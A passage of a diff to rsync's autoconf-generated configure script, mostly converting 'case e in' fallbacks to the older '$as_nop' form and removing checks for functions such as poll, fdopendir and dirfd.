#(\n-  e) rsync_cv_HAVE_GETADDR_DEFINES=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_GETADDR_DEFINES=no\n fi\n rm -rf conftest*\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_GETADDR_DEFINES\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_GETADDR_DEFINES\" >&6; }\n@@ -10582,8 +9812,8 @@ if test \"x$ac_cv_func_getaddrinfo\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_GETADDRINFO 1\" >>confdefs.h\n \n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for getaddrinfo by including <netdb.h>\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for getaddrinfo by including <netdb.h>\" >&5\n printf %s \"checking for getaddrinfo by including <netdb.h>... \" >&6; }\n \t\tcat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -10610,32 +9840,29 @@ printf \"%s\\n\" \"yes\" >&6; }\n \n printf \"%s\\n\" \"#define HAVE_GETADDRINFO 1\" >>confdefs.h\n \n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n printf \"%s\\n\" \"no\" >&6; }\n \t\t\tcase \" $LIBOBJS \" in\n   *\" getaddrinfo.$ac_objext \"* ) ;;\n   *) LIBOBJS=\"$LIBOBJS getaddrinfo.$ac_objext\"\n  ;;\n esac\n- ;;\n-esac\n+\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext ;;\n-esac\n+    conftest$ac_exeext conftest.$ac_ext\n fi\n \n done\n \n-else case e in #(\n-  e) case \" $LIBOBJS \" in\n+else $as_nop\n+  case \" $LIBOBJS \" in\n   *\" getaddrinfo.$ac_objext \"* ) ;;\n   *) LIBOBJS=\"$LIBOBJS getaddrinfo.$ac_objext\"\n  ;;\n esac\n- ;;\n-esac\n+\n fi\n \n ac_fn_c_check_member \"$LINENO\" \"struct sockaddr\" \"sa_len\" \"ac_cv_member_struct_sockaddr_sa_len\" \"\n@@ -10716,8 +9943,8 @@ printf %s \"checking for struct stat64... \" >&6; }\n if eval test \\${ac_cv_type_$cv+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n $ac_includes_default\n@@ -10748,12 +9975,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   eval \"ac_cv_type_$cv=yes\"\n-else case e in #(\n-  e) eval \"ac_cv_type_$cv=no\" ;;\n-esac\n+else $as_nop\n+  eval \"ac_cv_type_$cv=no\"\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n ac_foo=`eval echo \\\\$ac_cv_type_$cv`\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_foo\" >&5\n@@ -10779,24 +10004,6 @@ fi\n \n # if we can't find strcasecmp, look in -lresolv (for Unixware at least)\n #\n-\n-  for ac_func in poll\n-do :\n-  ac_fn_c_check_func \"$LINENO\" \"poll\" \"ac_cv_func_poll\"\n-if test \"x$ac_cv_func_poll\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_POLL 1\" >>confdefs.h\n-\n-else case e in #(\n-  e) as_fn_error $? \"rsync requires poll(); please report the platform to the rsync developers\" \"$LINENO\" 5 ;;\n-esac\n-fi\n-\n-done\n-if test x\"$ac_cv_header_poll_h\" != x\"yes\"; then\n-    as_fn_error $? \"rsync requires <poll.h>; please report the platform to the rsync developers\" \"$LINENO\" 5\n-fi\n-\n ac_fn_c_check_func \"$LINENO\" \"strcasecmp\" \"ac_cv_func_strcasecmp\"\n if test \"x$ac_cv_func_strcasecmp\" = xyes\n then :\n@@ -10810,22 +10017,16 @@ printf %s \"checking for strcasecmp in -lresolv... \" >&6; }\n if test ${ac_cv_lib_resolv_strcasecmp+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lresolv  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char strcasecmp (void);\n+   builtin and then its argument prototype would still apply.  */\n+char strcasecmp ();\n int\n main (void)\n {\n@@ -10837,14 +10038,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_resolv_strcasecmp=yes\n-else case e in #(\n-  e) ac_cv_lib_resolv_strcasecmp=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_resolv_strcasecmp=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_resolv_strcasecmp\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_resolv_strcasecmp\" >&6; }\n@@ -10871,22 +10070,16 @@ printf %s \"checking for aclsort in -lsec... \" >&6; }\n if test ${ac_cv_lib_sec_aclsort+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lsec  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char aclsort (void);\n+   builtin and then its argument prototype would still apply.  */\n+char aclsort ();\n int\n main (void)\n {\n@@ -10898,14 +10091,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_sec_aclsort=yes\n-else case e in #(\n-  e) ac_cv_lib_sec_aclsort=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_sec_aclsort=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_sec_aclsort\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_sec_aclsort\" >&6; }\n@@ -10927,14 +10118,14 @@ printf %s \"checking whether utime accepts a null argument... \" >&6; }\n if test ${ac_cv_func_utime_null+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) rm -f conftest.data; >conftest.data\n+else $as_nop\n+  rm -f conftest.data; >conftest.data\n # Sequent interprets utime(file, 0) to mean use start of epoch.  Wrong.\n if test \"$cross_compiling\" = yes\n then :\n   ac_cv_func_utime_null='guessing yes'\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $ac_includes_default\n \t       #ifdef HAVE_UTIME_H\n@@ -10956,16 +10147,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   ac_cv_func_utime_null=yes\n-else case e in #(\n-  e) ac_cv_func_utime_null=no ;;\n-esac\n+else $as_nop\n+  ac_cv_func_utime_null=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_utime_null\" >&5\n printf \"%s\\n\" \"$ac_cv_func_utime_null\" >&6; }\n@@ -10981,11 +10169,10 @@ ac_fn_c_check_type \"$LINENO\" \"size_t\" \"ac_cv_type_size_t\" \"$ac_includes_default\"\n if test \"x$ac_cv_type_size_t\" = xyes\n then :\n \n-else case e in #(\n-  e)\n+else $as_nop\n+\n printf \"%s\\n\" \"#define size_t unsigned int\" >>confdefs.h\n- ;;\n-esac\n+\n fi\n \n # The Ultrix 4.2 mips builtin alloca declared by alloca.h only works\n@@ -10995,8 +10182,8 @@ printf %s \"checking for working alloca.h... \" >&6; }\n if test ${ac_cv_working_alloca_h+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <alloca.h>\n int\n@@ -11011,13 +10198,11 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_working_alloca_h=yes\n-else case e in #(\n-  e) ac_cv_working_alloca_h=no ;;\n-esac\n+else $as_nop\n+  ac_cv_working_alloca_h=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext ;;\n-esac\n+    conftest$ac_exeext conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_working_alloca_h\" >&5\n printf \"%s\\n\" \"$ac_cv_working_alloca_h\" >&6; }\n@@ -11032,10 +10217,10 @@ printf %s \"checking for alloca... \" >&6; }\n if test ${ac_cv_func_alloca_works+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_func_alloca_works=$ac_cv_working_alloca_h\n-if test \"$ac_cv_func_alloca_works\" != yes\n-then :\n+else $as_nop\n+  if test $ac_cv_working_alloca_h = yes; then\n+  ac_cv_func_alloca_works=yes\n+else\n   cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <stdlib.h>\n@@ -11066,14 +10251,15 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_func_alloca_works=yes\n+else $as_nop\n+  ac_cv_func_alloca_works=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-fi ;;\n-esac\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_alloca_works\" >&5\n printf \"%s\\n\" \"$ac_cv_func_alloca_works\" >&6; }\n+fi\n \n if test $ac_cv_func_alloca_works = yes; then\n \n@@ -11095,12 +10281,12 @@ printf %s \"checking stack direction for C alloca... \" >&6; }\n if test ${ac_cv_c_stack_direction+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test \"$cross_compiling\" = yes\n+else $as_nop\n+  if test \"$cross_compiling\" = yes\n then :\n   ac_cv_c_stack_direction=0\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $ac_includes_default\n int\n@@ -11123,16 +10309,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   ac_cv_c_stack_direction=1\n-else case e in #(\n-  e) ac_cv_c_stack_direction=-1 ;;\n-esac\n+else $as_nop\n+  ac_cv_c_stack_direction=-1\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_stack_direction\" >&5\n printf \"%s\\n\" \"$ac_cv_c_stack_direction\" >&6; }\n@@ -11188,24 +10371,6 @@ if test \"x$ac_cv_func_mkfifo\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_MKFIFO 1\" >>confdefs.h\n \n-fi\n-ac_fn_c_check_func \"$LINENO\" \"fdopendir\" \"ac_cv_func_fdopendir\"\n-if test \"x$ac_cv_func_fdopendir\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_FDOPENDIR 1\" >>confdefs.h\n-\n-fi\n-ac_fn_c_check_func \"$LINENO\" \"getrlimit\" \"ac_cv_func_getrlimit\"\n-if test \"x$ac_cv_func_getrlimit\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_GETRLIMIT 1\" >>confdefs.h\n-\n-fi\n-ac_fn_c_check_func \"$LINENO\" \"setrlimit\" \"ac_cv_func_setrlimit\"\n-if test \"x$ac_cv_func_setrlimit\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_SETRLIMIT 1\" >>confdefs.h\n-\n fi\n ac_fn_c_check_func \"$LINENO\" \"fchmod\" \"ac_cv_func_fchmod\"\n if test \"x$ac_cv_func_fchmod\" = xyes\n@@ -11296,18 +10461,6 @@ if test \"x$ac_cv_func_linkat\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_LINKAT 1\" >>confdefs.h\n \n-fi\n-ac_fn_c_check_func \"$LINENO\" \"mknodat\" \"ac_cv_func_mknodat\"\n-if test \"x$ac_cv_func_mknodat\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_MKNODAT 1\" >>confdefs.h\n-\n-fi\n-ac_fn_c_check_func \"$LINENO\" \"mkfifoat\" \"ac_cv_func_mkfifoat\"\n-if test \"x$ac_cv_func_mkfifoat\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_MKFIFOAT 1\" >>confdefs.h\n-\n fi\n ac_fn_c_check_func \"$LINENO\" \"memmove\" \"ac_cv_func_memmove\"\n if test \"x$ac_cv_func_memmove\" = xyes\n@@ -11548,12 +10701,6 @@ if test \"x$ac_cv_func_utimensat\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_UTIMENSAT 1\" >>confdefs.h\n \n-fi\n-ac_fn_c_check_func \"$LINENO\" \"futimens\" \"ac_cv_func_futimens\"\n-if test \"x$ac_cv_func_futimens\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_FUTIMENS 1\" >>confdefs.h\n-\n fi\n ac_fn_c_check_func \"$LINENO\" \"posix_fallocate\" \"ac_cv_func_posix_fallocate\"\n if test \"x$ac_cv_func_posix_fallocate\" = xyes\n@@ -11597,55 +10744,7 @@ then :\n   printf \"%s\\n\" \"#define HAVE_UNSETENV 1\" >>confdefs.h\n \n fi\n-ac_fn_c_check_func \"$LINENO\" \"mbrtowc\" \"ac_cv_func_mbrtowc\"\n-if test \"x$ac_cv_func_mbrtowc\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_MBRTOWC 1\" >>confdefs.h\n-\n-fi\n-ac_fn_c_check_func \"$LINENO\" \"setpriority\" \"ac_cv_func_setpriority\"\n-if test \"x$ac_cv_func_setpriority\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_SETPRIORITY 1\" >>confdefs.h\n-\n-fi\n-\n-\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for dirfd\" >&5\n-printf %s \"checking for dirfd... \" >&6; }\n-if test ${rsync_cv_HAVE_DIRFD+y}\n-then :\n-  printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n-/* end confdefs.h.  */\n-#include <dirent.h>\n-int\n-main (void)\n-{\n-DIR *d = opendir(\".\"); return d ? dirfd(d) < -1 : 0;\n-  ;\n-  return 0;\n-}\n-_ACEOF\n-if ac_fn_c_try_link \"$LINENO\"\n-then :\n-  rsync_cv_HAVE_DIRFD=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_DIRFD=no ;;\n-esac\n-fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext ;;\n-esac\n-fi\n-{ printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_DIRFD\" >&5\n-printf \"%s\\n\" \"$rsync_cv_HAVE_DIRFD\" >&6; }\n-if test x\"$rsync_cv_HAVE_DIRFD\" = x\"yes\"; then\n-\n-printf \"%s\\n\" \"#define HAVE_DIRFD 1\" >>confdefs.h\n \n-fi\n \n if test x\"$ac_cv_func_iconv_open\" != x\"yes\"; then\n     ac_fn_c_check_func \"$LINENO\" \"libiconv_open\" \"ac_cv_func_libiconv_open\"\n@@ -11663,8 +10762,8 @@ printf %s \"checking for useable fallocate... \" >&6; }\n if test ${rsync_cv_have_fallocate+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <fcntl.h>\n@@ -11682,13 +10781,11 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   rsync_cv_have_fallocate=yes\n-else case e in #(\n-  e) rsync_cv_have_fallocate=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_have_fallocate=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext ;;\n-esac\n+    conftest$ac_exeext conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_have_fallocate\" >&5\n printf \"%s\\n\" \"$rsync_cv_have_fallocate\" >&6; }\n@@ -11719,13 +10816,12 @@ printf \"%s\\n\" \"yes\" >&6; }\n printf \"%s\\n\" \"#define HAVE_FALLOC_FL_PUNCH_HOLE 1\" >>confdefs.h\n \n \n-else case e in #(\n-  e)\n+else $as_nop\n+\n         { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n printf \"%s\\n\" \"no\" >&6; }\n \n- ;;\n-esac\n+\n fi\n rm -f conftest.err conftest.i conftest.$ac_ext\n \n@@ -11750,13 +10846,12 @@ printf \"%s\\n\" \"yes\" >&6; }\n printf \"%s\\n\" \"#define HAVE_FALLOC_FL_ZERO_RANGE 1\" >>confdefs.h\n \n \n-else case e in #(\n-  e)\n+else $as_nop\n+\n         { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: no\" >&5\n printf \"%s\\n\" \"no\" >&6; }\n \n- ;;\n-esac\n+\n fi\n rm -f conftest.err conftest.i conftest.$ac_ext\n \n@@ -11765,8 +10860,8 @@ printf %s \"checking for SYS_fallocate... \" >&6; }\n if test ${rsync_cv_have_sys_fallocate+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <sys/syscall.h>\n@@ -11787,12 +10882,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   rsync_cv_have_sys_fallocate=yes\n-else case e in #(\n-  e) rsync_cv_have_sys_fallocate=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_have_sys_fallocate=no\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_have_sys_fallocate\" >&5\n printf \"%s\\n\" \"$rsync_cv_have_sys_fallocate\" >&6; }\n@@ -11840,8 +10933,8 @@ printf %s \"checking whether getpgrp requires zero arguments... \" >&6; }\n if test ${ac_cv_func_getpgrp_void+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) # Use it with a single arg.\n+else $as_nop\n+  # Use it with a single arg.\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $ac_includes_default\n@@ -11856,13 +10949,11 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_func_getpgrp_void=no\n-else case e in #(\n-  e) ac_cv_func_getpgrp_void=yes ;;\n-esac\n+else $as_nop\n+  ac_cv_func_getpgrp_void=yes\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_getpgrp_void\" >&5\n printf \"%s\\n\" \"$ac_cv_func_getpgrp_void\" >&6; }\n@@ -11878,9 +10969,8 @@ fi\n if test ${enable_iconv_open+y}\n then :\n   enableval=$enable_iconv_open;\n-else case e in #(\n-  e) enable_iconv_open=$ac_cv_func_iconv_open ;;\n-esac\n+else $as_nop\n+  enable_iconv_open=$ac_cv_func_iconv_open\n fi\n \n \n@@ -11894,9 +10984,8 @@ fi\n if test ${enable_iconv+y}\n then :\n   enableval=$enable_iconv;\n-else case e in #(\n-  e) enable_iconv=$enable_iconv_open ;;\n-esac\n+else $as_nop\n+  enable_iconv=$enable_iconv_open\n fi\n \n \n@@ -11918,13 +11007,13 @@ printf %s \"checking whether chown() modifies symlinks... \" >&6; }\n if test ${rsync_cv_chown_modifies_symlink+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n   if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_chown_modifies_symlink=no\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #if HAVE_UNISTD_H\n@@ -11943,16 +11032,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_chown_modifies_symlink=yes\n-else case e in #(\n-  e) rsync_cv_chown_modifies_symlink=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_chown_modifies_symlink=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_chown_modifies_symlink\" >&5\n printf \"%s\\n\" \"$rsync_cv_chown_modifies_symlink\" >&6; }\n@@ -11967,13 +11053,13 @@ printf %s \"checking whether link() can hard-link symlinks... \" >&6; }\n if test ${rsync_cv_can_hardlink_symlink+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n   if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_can_hardlink_symlink=no\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #ifdef HAVE_FCNTL_H\n@@ -12002,16 +11088,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_can_hardlink_symlink=yes\n-else case e in #(\n-  e) rsync_cv_can_hardlink_symlink=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_can_hardlink_symlink=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_can_hardlink_symlink\" >&5\n printf \"%s\\n\" \"$rsync_cv_can_hardlink_symlink\" >&6; }\n@@ -12026,13 +11109,13 @@ printf %s \"checking whether link() can hard-link special files... \" >&6; }\n if test ${rsync_cv_can_hardlink_special+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n   if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_can_hardlink_special=no\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #if HAVE_UNISTD_H\n@@ -12055,16 +11138,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_can_hardlink_special=yes\n-else case e in #(\n-  e) rsync_cv_can_hardlink_special=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_can_hardlink_special=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_can_hardlink_special\" >&5\n printf \"%s\\n\" \"$rsync_cv_can_hardlink_special\" >&6; }\n@@ -12079,13 +11159,13 @@ printf %s \"checking for working socketpair... \" >&6; }\n if test ${rsync_cv_HAVE_SOCKETPAIR+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)\n+else $as_nop\n+\n if test \"$cross_compiling\" = yes\n then :\n   rsync_cv_HAVE_SOCKETPAIR=cross\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n #ifdef HAVE_SYS_TYPES_H\n@@ -12103,16 +11183,13 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   rsync_cv_HAVE_SOCKETPAIR=yes\n-else case e in #(\n-  e) rsync_cv_HAVE_SOCKETPAIR=no ;;\n-esac\n+else $as_nop\n+  rsync_cv_HAVE_SOCKETPAIR=no\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n-  conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+  conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $rsync_cv_HAVE_SOCKETPAIR\" >&5\n printf \"%s\\n\" \"$rsync_cv_HAVE_SOCKETPAIR\" >&6; }\n@@ -12127,14 +11204,13 @@ if test \"x$ac_cv_func_getpass\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_GETPASS 1\" >>confdefs.h\n \n-else case e in #(\n-  e) case \" $LIBOBJS \" in\n+else $as_nop\n+  case \" $LIBOBJS \" in\n   *\" getpass.$ac_objext \"* ) ;;\n   *) LIBOBJS=\"$LIBOBJS getpass.$ac_objext\"\n  ;;\n esac\n- ;;\n-esac\n+\n fi\n \n \n@@ -12144,22 +11220,16 @@ printf %s \"checking for poptGetContext in -lpopt... \" >&6; }\n if test ${ac_cv_lib_popt_poptGetContext+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_check_lib_save_LIBS=$LIBS\n+else $as_nop\n+  ac_check_lib_save_LIBS=$LIBS\n LIBS=\"-lpopt  $LIBS\"\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char poptGetContext (void);\n+   builtin and then its argument prototype would still apply.  */\n+char poptGetContext ();\n int\n main (void)\n {\n@@ -12171,14 +11241,12 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   ac_cv_lib_popt_poptGetContext=yes\n-else case e in #(\n-  e) ac_cv_lib_popt_poptGetContext=no ;;\n-esac\n+else $as_nop\n+  ac_cv_lib_popt_poptGetContext=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n-LIBS=$ac_check_lib_save_LIBS ;;\n-esac\n+LIBS=$ac_check_lib_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_popt_poptGetContext\" >&5\n printf \"%s\\n\" \"$ac_cv_lib_popt_poptGetContext\" >&6; }\n@@ -12188,9 +11256,8 @@ then :\n \n   LIBS=\"-lpopt $LIBS\"\n \n-else case e in #(\n-  e) with_included_popt=yes ;;\n-esac\n+else $as_nop\n+  with_included_popt=yes\n fi\n \n fi\n@@ -12234,8 +11301,8 @@ printf %s \"checking for 